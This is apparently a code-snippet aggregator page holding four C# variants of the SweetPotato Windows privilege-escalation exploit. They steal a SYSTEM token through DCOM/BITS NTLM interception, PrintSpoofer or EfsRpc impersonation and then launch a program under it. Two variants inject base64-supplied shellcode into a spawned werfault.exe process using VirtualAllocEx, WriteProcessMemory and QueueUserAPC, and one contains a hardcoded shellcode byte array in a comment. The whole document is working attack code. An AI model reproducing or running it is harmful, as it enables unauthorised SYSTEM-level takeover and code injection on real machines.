Example #1
0
        static void Main(string[] args)
        {
            string          clsId           = "4991D34B-80A1-4291-83B6-3328366B9097";
            ushort          port            = 6666;
            string          program         = @"c:\Windows\System32\cmd.exe";
            string          programArgs     = null;
            ExecutionMethod executionMethod = ExecutionMethod.Auto;
            bool            showHelp        = false;
            bool            isBITSRequired  = false;
            bool            flag            = false;

            Console.WriteLine(
                "Modify by Zero Team Uknow\n" +
                "SweetPotato by @_EthicalChaos_\n"
                );

            OptionSet option_set = new OptionSet()
                                   .Add <string>("c=|clsid=", "CLSID (default BITS: 4991D34B-80A1-4291-83B6-3328366B9097)", v => clsId = v)
                                   .Add <ExecutionMethod>("m=|method=", "Auto,User,Thread (default Auto)", v => executionMethod        = v)
                                   .Add("p=|prog=", "Program to launch (default cmd.exe)", v => program               = v)
                                   .Add("a=|args=", "Arguments for program (default null)", v => programArgs          = v)
                                   .Add <ushort>("l=|listenPort=", "COM server listen port (default 6666)", v => port = v)
                                   .Add("h|help", "Display this help", v => showHelp = v != null);

            try {
                option_set.Parse(args);

                if (showHelp)
                {
                    PrintHelp(option_set);
                    return;
                }
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                PrintHelp(option_set);
                return;
            }

            try {
                if (isBITSRequired = IsBITSRequired())
                {
                    clsId = "4991D34B-80A1-4291-83B6-3328366B9097";
                    Console.WriteLine("[=] Your version of Windows fixes DCOM interception forcing BITS to perform WinRM intercept");
                }

                bool hasImpersonate   = EnablePrivilege(SecurityEntity.SE_IMPERSONATE_NAME);
                bool hasPrimary       = EnablePrivilege(SecurityEntity.SE_ASSIGNPRIMARYTOKEN_NAME);
                bool hasIncreaseQuota = EnablePrivilege(SecurityEntity.SE_INCREASE_QUOTA_NAME);

                if (!hasImpersonate && !hasPrimary)
                {
                    Console.WriteLine("[!] Cannot perform NTLM interception, neccessary priveleges missing.  Are you running under a Service account?");
                    return;
                }

                if (executionMethod == ExecutionMethod.Auto)
                {
                    if (hasImpersonate)
                    {
                        executionMethod = ExecutionMethod.Token;
                    }
                    else if (hasPrimary)
                    {
                        executionMethod = ExecutionMethod.User;
                    }
                }

                Console.WriteLine("[+] Attempting {0} with CLID {1} on port {2} using method {3} to launch {4}",
                                  isBITSRequired ? "NTLM Auth" : "DCOM NTLM interception", clsId, isBITSRequired ? 5985 :  port, executionMethod, program);

                PotatoAPI potatoAPI = new PotatoAPI(new Guid(clsId), port, isBITSRequired);

                if (!potatoAPI.TriggerDCOM())
                {
                    Console.WriteLine("[!] No authenticated interception took place, exploit failed");
                    return;
                }

                Console.WriteLine("[+] Intercepted and authenticated successfully, launching program");

                IntPtr impersonatedPrimary;
                if (!DuplicateTokenEx(potatoAPI.Token, TOKEN_ALL_ACCESS, IntPtr.Zero,
                                      SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, TOKEN_TYPE.TokenPrimary, out impersonatedPrimary))
                {
                    Console.WriteLine("[!] Failed to impersonate security context token");
                    return;
                }

                SECURITY_ATTRIBUTES saAttr = new SECURITY_ATTRIBUTES();
                saAttr.nLength              = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES));
                saAttr.bInheritHandle       = 0x1;
                saAttr.lpSecurityDescriptor = IntPtr.Zero;

                if (CreatePipe(ref out_read, ref out_write, ref saAttr, 0))
                {
                    Console.WriteLine("[+] CreatePipe success");
                }

                SetHandleInformation(out_read, HANDLE_FLAG_INHERIT, 0);
                SetHandleInformation(err_read, HANDLE_FLAG_INHERIT, 0);

                Thread systemThread = new Thread(() =>
                {
                    SetThreadToken(IntPtr.Zero, potatoAPI.Token);
                    STARTUPINFO si         = new STARTUPINFO();
                    PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
                    si.cb         = Marshal.SizeOf(si);
                    si.lpDesktop  = @"WinSta0\Default";
                    si.hStdOutput = out_write;
                    si.hStdError  = err_write;
                    si.dwFlags   |= STARTF_USESTDHANDLES;
                    Console.WriteLine("[+] Created launch thread using impersonated user {0}", WindowsIdentity.GetCurrent(true).Name);

                    string finalArgs = null;

                    if (programArgs != null)
                    {
                        programArgs = "/c " + programArgs;
                        finalArgs   = string.Format("\"{0}\" {1}", program, programArgs);
                        Console.WriteLine("[+] Command : {0} ", finalArgs);
                    }
                    if (executionMethod == ExecutionMethod.Token)
                    {
                        flag = CreateProcessWithTokenW(potatoAPI.Token, 0, program, finalArgs, CREATE_NO_WINDOW, IntPtr.Zero, null, ref si, out pi);
                        Console.WriteLine("[+] process with pid: {0} created.\n\n=====================================\n", pi.dwProcessId);
                        if (!flag)
                        {
                            Console.WriteLine("[!] Failed to created impersonated process with token: {0}", Marshal.GetLastWin32Error());
                            return;
                        }
                    }
                    else
                    {
                        flag = CreateProcessAsUserW(impersonatedPrimary, program, finalArgs, IntPtr.Zero,
                                                    IntPtr.Zero, false, CREATE_NO_WINDOW, IntPtr.Zero, @"C:\", ref si, out pi);
                        Console.WriteLine("[+] process with pid: {0} created.\n\n=====================================\n", pi.dwProcessId);
                        if (!flag)
                        {
                            Console.WriteLine("[!] Failed to created impersonated process with user: {0} ", Marshal.GetLastWin32Error());
                            return;
                        }
                    }
                    CloseHandle(out_write);
                    byte[] buf = new byte[BUFSIZE];
                    int dwRead = 0;
                    while (ReadFile(out_read, buf, BUFSIZE, ref dwRead, IntPtr.Zero))
                    {
                        byte[] outBytes = new byte[dwRead];
                        Array.Copy(buf, outBytes, dwRead);
                        Console.WriteLine(System.Text.Encoding.Default.GetString(outBytes));
                    }
                    CloseHandle(out_read);
                    Console.WriteLine("[+] Process created, enjoy!");
                });
                systemThread.Start();
                systemThread.Join();
            }
            catch (Exception e) {
                Console.WriteLine("[!] Failed to exploit COM: {0} ", e.Message);
                Console.WriteLine(e.StackTrace.ToString());
            }
        }
Example #2
0
        static void Main(string[] args)
        {
            string          clsId           = "4991D34B-80A1-4291-83B6-3328366B9097";
            ushort          port            = 6666;
            string          program         = @"c:\Windows\System32\werfault.exe";
            string          shellcode       = null;
            ExecutionMethod executionMethod = ExecutionMethod.Auto;
            bool            showHelp        = false;
            bool            isBITSRequired  = false;

            Console.WriteLine(
                "Modifying SweetPotato by Uknow to support load shellcode \n" +
                "Github: https://github.com/uknowsec/SweetPotato \n" +
                "SweetPotato by @_EthicalChaos_\n" +
                "  Orignal RottenPotato code and exploit by @foxglovesec\n" +
                "  Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery\n"
                );

            OptionSet option_set = new OptionSet()
                                   .Add <string>("c=|clsid=", "CLSID (default BITS: 4991D34B-80A1-4291-83B6-3328366B9097)", v => clsId = v)
                                   .Add <ExecutionMethod>("m=|method=", "Auto,User,Thread (default Auto)", v => executionMethod        = v)
                                   .Add("p=|prog=", "Program to launch (default werfault.exe)", v => program          = v)
                                   .Add("s=|shellcode=", "Arguments for program (default null)", v => shellcode       = v)
                                   .Add <ushort>("l=|listenPort=", "COM server listen port (default 6666)", v => port = v)
                                   .Add("h|help", "Display this help", v => showHelp = v != null);

            try {
                option_set.Parse(args);

                if (showHelp)
                {
                    PrintHelp(option_set);
                    return;
                }
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                PrintHelp(option_set);
                return;
            }

            try {
                if (isBITSRequired = IsBITSRequired())
                {
                    clsId = "4991D34B-80A1-4291-83B6-3328366B9097";
                    Console.WriteLine("[=] Your version of Windows fixes DCOM interception forcing BITS to perform WinRM intercept");
                }

                bool hasImpersonate   = EnablePrivilege(SecurityEntity.SE_IMPERSONATE_NAME);
                bool hasPrimary       = EnablePrivilege(SecurityEntity.SE_ASSIGNPRIMARYTOKEN_NAME);
                bool hasIncreaseQuota = EnablePrivilege(SecurityEntity.SE_INCREASE_QUOTA_NAME);

                if (!hasImpersonate && !hasPrimary)
                {
                    Console.WriteLine("[!] Cannot perform NTLM interception, neccessary priveleges missing.  Are you running under a Service account?");
                    return;
                }

                if (executionMethod == ExecutionMethod.Auto)
                {
                    if (hasImpersonate)
                    {
                        executionMethod = ExecutionMethod.Token;
                    }
                    else if (hasPrimary)
                    {
                        executionMethod = ExecutionMethod.User;
                    }
                }

                Console.WriteLine("[+] Attempting {0} with CLID {1} on port {2} using method {3} to launch {4}",
                                  isBITSRequired ? "NTLM Auth" : "DCOM NTLM interception", clsId, isBITSRequired ? 5985 :  port, executionMethod, program);

                PotatoAPI potatoAPI = new PotatoAPI(new Guid(clsId), port, isBITSRequired);

                if (!potatoAPI.TriggerDCOM())
                {
                    Console.WriteLine("[!] No authenticated interception took place, exploit failed");
                    return;
                }

                Console.WriteLine("[+] Intercepted and authenticated successfully, launching program");

                IntPtr impersonatedPrimary;

                if (!DuplicateTokenEx(potatoAPI.Token, TOKEN_ALL_ACCESS, IntPtr.Zero,
                                      SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, TOKEN_TYPE.TokenPrimary, out impersonatedPrimary))
                {
                    Console.WriteLine("[!] Failed to impersonate security context token");
                    return;
                }

                Thread systemThread = new Thread(() => {
                    SetThreadToken(IntPtr.Zero, potatoAPI.Token);
                    STARTUPINFO si         = new STARTUPINFO();
                    PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
                    si.cb        = Marshal.SizeOf(si);
                    si.lpDesktop = @"WinSta0\Default";

                    Console.WriteLine("[+] Created launch thread using impersonated user {0}", WindowsIdentity.GetCurrent(true).Name);

                    string finalArgs = null;

                    if (executionMethod == ExecutionMethod.Token)
                    {
                        if (!CreateProcessWithTokenW(potatoAPI.Token, 0, program, finalArgs, CreationFlags.NewConsole, IntPtr.Zero, null, ref si, out pi))
                        {
                            Console.WriteLine("[!] Failed to created impersonated process with token: {0}", Marshal.GetLastWin32Error());
                            return;
                        }
                    }
                    else
                    {
                        if (!CreateProcessAsUserW(impersonatedPrimary, program, finalArgs, IntPtr.Zero,
                                                  IntPtr.Zero, false, CREATE_NEW_CONSOLE, IntPtr.Zero, @"C:\", ref si, out pi))
                        {
                            Console.WriteLine("[!] Failed to created impersonated process with user: {0} ", Marshal.GetLastWin32Error());
                            return;
                        }
                    }
                    byte[] b_shellcode          = Convert.FromBase64String(shellcode);
                    uint lpNumberOfBytesWritten = 0;
                    IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)pi.dwProcessId);
                    Console.WriteLine(String.Format(@"[+] OpenProcess Pid: {0}", pi.dwProcessId.ToString()));
                    IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)b_shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
                    Console.WriteLine(@"[+] VirtualAllocEx Success");
                    if (WriteProcessMemory(pHandle, rMemAddress, b_shellcode, (uint)b_shellcode.Length, ref lpNumberOfBytesWritten))
                    {
                        IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)pi.dwThreadId);

                        IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);

                        ResumeThread(tHandle);
                        Console.WriteLine(String.Format(@"[+] QueueUserAPC Inject shellcode to PID: {0} Success", pi.dwProcessId.ToString()));
                    }
                    bool hOpenProcessClose = CloseHandle(pHandle);
                    if (hOpenProcessClose)
                    {
                        Console.WriteLine(@"[+] hOpenProcessClose Success");
                    }
                    Console.WriteLine("\n\n[*] QueueUserAPC Inject shellcode Success, enjoy!");
                });

                systemThread.Start();
                systemThread.Join();
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to exploit COM: {0} ", e.Message);
                Console.WriteLine(e.StackTrace.ToString());
            }
        }
Example #3
0
        static void Main(string[] args)
        {
            string          clsId           = "4991D34B-80A1-4291-83B6-3328366B9097";
            ushort          port            = 6666;
            string          program         = @"c:\Windows\System32\werfault.exe";
            string          shellcode       = null;
            ExecutionMethod executionMethod = ExecutionMethod.Auto;
            bool            showHelp        = false;
            bool            isBITSRequired  = false;

            Console.WriteLine(
                "[+] SweetPotato by @_EthicalChaos_,fixed by 2020/4/16\n");

            OptionSet option_set = new OptionSet()
                                   .Add <string>("c=|clsid=", "CLSID (default BITS: 4991D34B-80A1-4291-83B6-3328366B9097)", v => clsId = v)
                                   .Add <ExecutionMethod>("m=|method=", "Auto,User,Thread (default Auto)", v => executionMethod        = v)
                                   .Add("p=|prog=", "Run a Process (werfault.exe)", v => program = v)
                                   .Add("s=|shellcode=", "Arguments for program (default null)", v => shellcode       = v)
                                   .Add <ushort>("l=|listenPort=", "COM server listen port (default 6666)", v => port = v)
                                   .Add("h|help", "Display this help", v => showHelp = v != null);

            try {
                option_set.Parse(args);

                if (showHelp)
                {
                    PrintHelp(option_set);
                    return;
                }
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                PrintHelp(option_set);
                return;
            }

            try {
                if (isBITSRequired = IsBITSRequired())
                {
                    clsId = "4991D34B-80A1-4291-83B6-3328366B9097";
                    Console.WriteLine("[=] Your version of Windows fixes DCOM interception forcing BITS to perform WinRM intercept");
                    return;
                }

                bool hasImpersonate   = EnablePrivilege(SecurityEntity.SE_IMPERSONATE_NAME);
                bool hasPrimary       = EnablePrivilege(SecurityEntity.SE_ASSIGNPRIMARYTOKEN_NAME);
                bool hasIncreaseQuota = EnablePrivilege(SecurityEntity.SE_INCREASE_QUOTA_NAME);

                if (!hasImpersonate && !hasPrimary)
                {
                    Console.WriteLine("[!] Cannot perform NTLM interception, neccessary priveleges missing.  Are you running under a Service account?");
                    return;
                }

                if (executionMethod == ExecutionMethod.Auto)
                {
                    if (hasImpersonate)
                    {
                        executionMethod = ExecutionMethod.Token;
                    }
                    else if (hasPrimary)
                    {
                        executionMethod = ExecutionMethod.User;
                    }
                }

                Console.WriteLine("[+] Attempting {0} with CLID {1} on port {2} using method {3} to launch {4}",
                                  isBITSRequired ? "NTLM Auth" : "DCOM NTLM interception", clsId, isBITSRequired ? 5985 :  port, executionMethod, program);

                PotatoAPI potatoAPI = new PotatoAPI(new Guid(clsId), port, isBITSRequired);

                if (!potatoAPI.TriggerDCOM())
                {
                    Console.WriteLine("[!] No authenticated interception took place, exploit failed");
                    return;
                }

                Console.WriteLine("[+] Intercepted and authenticated successfully, launching program");

                IntPtr impersonatedPrimary;

                if (!DuplicateTokenEx(potatoAPI.Token, TOKEN_ALL_ACCESS, IntPtr.Zero,
                                      SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, TOKEN_TYPE.TokenPrimary, out impersonatedPrimary))
                {
                    Console.WriteLine("[!] Failed to impersonate security context token");
                    return;
                }

                Thread systemThread = new Thread(() => {
                    SetThreadToken(IntPtr.Zero, potatoAPI.Token);
                    STARTUPINFO si         = new STARTUPINFO();
                    PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
                    si.cb        = Marshal.SizeOf(si);
                    si.lpDesktop = @"WinSta0\Default";

                    Console.WriteLine("[+] Created launch thread using impersonated user {0}", WindowsIdentity.GetCurrent(true).Name);

                    string finalArgs = null;

                    /*
                     * if(shellcode != null)
                     *  finalArgs = string.Format("\"{0}\" {1}", program, args);
                     */
                    if (executionMethod == ExecutionMethod.Token)
                    {
                        if (!CreateProcessWithTokenW(potatoAPI.Token, 0, program, finalArgs, CreationFlags.Suspended, IntPtr.Zero, null, ref si, out pi))
                        {
                            Console.WriteLine("[!] Failed to created impersonated process with token: {0}", Marshal.GetLastWin32Error());
                            return;
                        }
                    }
                    else
                    {
                        if (!CreateProcessAsUserW(impersonatedPrimary, program, finalArgs, IntPtr.Zero,
                                                  IntPtr.Zero, false, 0x00000004, IntPtr.Zero, @"C:\", ref si, out pi))
                        {
                            Console.WriteLine("[!] Failed to created impersonated process with user: {0} ", Marshal.GetLastWin32Error());
                            return;
                        }
                    }
                    byte[] b_shellcode = Convert.FromBase64String(shellcode);
                    //byte[] shellcode = new byte[112] {0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3};
                    // Allocate memory within process and write shellcode
                    IntPtr resultPtr    = VirtualAllocEx(pi.hProcess, IntPtr.Zero, b_shellcode.Length, MEM_COMMIT, PAGE_READWRITE);
                    IntPtr bytesWritten = IntPtr.Zero;
                    //Marshal.Copy(b_shellcode, 0, resultPtr, b_shellcode.Length);
                    bool resultBool = WriteProcessMemory(pi.hProcess, resultPtr, b_shellcode, b_shellcode.Length, out bytesWritten);

                    // Open thread
                    IntPtr sht      = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
                    uint oldProtect = 0;

                    // Modify memory permissions on allocated shellcode
                    resultBool = VirtualProtectEx(pi.hProcess, resultPtr, b_shellcode.Length, PAGE_EXECUTE_READ, out oldProtect);

                    // Assign address of shellcode to the target thread apc queue
                    IntPtr ptr = QueueUserAPC(resultPtr, sht, IntPtr.Zero);

                    IntPtr ThreadHandle = pi.hThread;
                    ResumeThread(ThreadHandle);
                    Console.WriteLine("[+] Process created, enjoy!");
                });

                systemThread.Start();
                systemThread.Join();
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to exploit COM: {0} ", e.Message);
                Console.WriteLine(e.StackTrace.ToString());
            }
        }
Example #4
0
        static void Main(string[] args)
        {
            string          clsId           = "4991D34B-80A1-4291-83B6-3328366B9097";
            ushort          port            = 6666;
            string          program         = @"c:\Windows\System32\cmd.exe";
            string          programArgs     = null;
            ExecutionMethod executionMethod = ExecutionMethod.Auto;

            PotatoAPI.Mode mode           = PotatoAPI.Mode.PrintSpoofer;
            bool           showHelp       = false;
            bool           isBITSRequired = false;

            Console.WriteLine(
                "SweetPotato by @_EthicalChaos_\n" +
                "  Orignal RottenPotato code and exploit by @foxglovesec\n" +
                "  Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery\n" +
                "  PrintSpoofer discovery and original exploit by @itm4n\n" +
                "  EfsRpc built on EfsPotato by @zcgonvh and PetitPotam by @topotam"
                );

            OptionSet option_set = new OptionSet()
                                   .Add <string>("c=|clsid=", "CLSID (default BITS: 4991D34B-80A1-4291-83B6-3328366B9097)", v => clsId = v)
                                   .Add <ExecutionMethod>("m=|method=", "Auto,User,Thread (default Auto)", v => executionMethod        = v)
                                   .Add("p=|prog=", "Program to launch (default cmd.exe)", v => program      = v)
                                   .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v)
                                   .Add <PotatoAPI.Mode>("e=|exploit=", "Exploit mode [DCOM|WinRM|EfsRpc|PrintSpoofer(default)] ", v => mode = v)
                                   .Add <ushort>("l=|listenPort=", "COM server listen port (default 6666)", v => port = v)
                                   .Add("h|help", "Display this help", v => showHelp = v != null);

            try {
                option_set.Parse(args);

                if (showHelp)
                {
                    PrintHelp(option_set);
                    return;
                }
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                PrintHelp(option_set);
                return;
            }

            try {
                bool hasImpersonate   = EnablePrivilege(SecurityEntity.SE_IMPERSONATE_NAME);
                bool hasPrimary       = EnablePrivilege(SecurityEntity.SE_ASSIGNPRIMARYTOKEN_NAME);
                bool hasIncreaseQuota = EnablePrivilege(SecurityEntity.SE_INCREASE_QUOTA_NAME);

                if (!hasImpersonate && !hasPrimary)
                {
                    Console.WriteLine("[!] Cannot perform interception, necessary privileges missing.  Are you running under a Service account?");
                    return;
                }

                if (executionMethod == ExecutionMethod.Auto)
                {
                    if (hasImpersonate)
                    {
                        executionMethod = ExecutionMethod.Token;
                    }
                    else if (hasPrimary)
                    {
                        executionMethod = ExecutionMethod.User;
                    }
                }

                if (mode == PotatoAPI.Mode.PrintSpoofer)
                {
                    Console.WriteLine($"[+] Attempting NP impersonation using method PrintSpoofer to launch {program}");
                }
                else if (mode == PotatoAPI.Mode.EfsRpc)
                {
                    Console.WriteLine($"[+] Attempting NP impersonation using method EfsRpc to launch {program}");
                }
                else
                {
                    Console.WriteLine("[+] Attempting {0} with CLID {1} on port {2} using method {3} to launch {4}",
                                      isBITSRequired ? "NTLM Auth" : "DCOM NTLM interception", clsId, isBITSRequired ? 5985 : port, executionMethod, program);
                }

                PotatoAPI potatoAPI = new PotatoAPI(new Guid(clsId), port, mode);

                if (!potatoAPI.Trigger())
                {
                    Console.WriteLine("[!] No authenticated interception took place, exploit failed");
                    return;
                }

                Console.WriteLine("[+] Intercepted and authenticated successfully, launching program");

                IntPtr impersonatedPrimary;

                if (!DuplicateTokenEx(potatoAPI.Token, TOKEN_ALL_ACCESS, IntPtr.Zero,
                                      SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, TOKEN_TYPE.TokenPrimary, out impersonatedPrimary))
                {
                    Console.WriteLine("[!] Failed to impersonate security context token");
                    return;
                }

                Thread systemThread = new Thread(() => {
                    SetThreadToken(IntPtr.Zero, potatoAPI.Token);
                    STARTUPINFO si         = new STARTUPINFO();
                    PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
                    si.cb        = Marshal.SizeOf(si);
                    si.lpDesktop = @"WinSta0\Default";

                    //Console.WriteLine("[+] Created launch thread using impersonated user {0}", WindowsIdentity.GetCurrent(true).Name);

                    string finalArgs = null;

                    if (programArgs != null)
                    {
                        finalArgs = string.Format("\"{0}\" {1}", program, programArgs);
                    }

                    if (executionMethod == ExecutionMethod.Token)
                    {
                        if (!CreateProcessWithTokenW(potatoAPI.Token, 0, program, finalArgs, CreationFlags.NewConsole, IntPtr.Zero, null, ref si, out pi))
                        {
                            Console.WriteLine("[!] Failed to created impersonated process with token: {0}", Marshal.GetLastWin32Error());
                            return;
                        }
                    }
                    else
                    {
                        if (!CreateProcessAsUserW(impersonatedPrimary, program, finalArgs, IntPtr.Zero,
                                                  IntPtr.Zero, false, CREATE_NEW_CONSOLE, IntPtr.Zero, @"C:\", ref si, out pi))
                        {
                            Console.WriteLine("[!] Failed to created impersonated process with user: {0} ", Marshal.GetLastWin32Error());
                            return;
                        }
                    }
                    Console.WriteLine("[+] Process created, enjoy!");
                });

                systemThread.Start();
                systemThread.Join();
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to exploit COM: {0} ", e.Message);
                Console.WriteLine(e.StackTrace.ToString());
            }
        }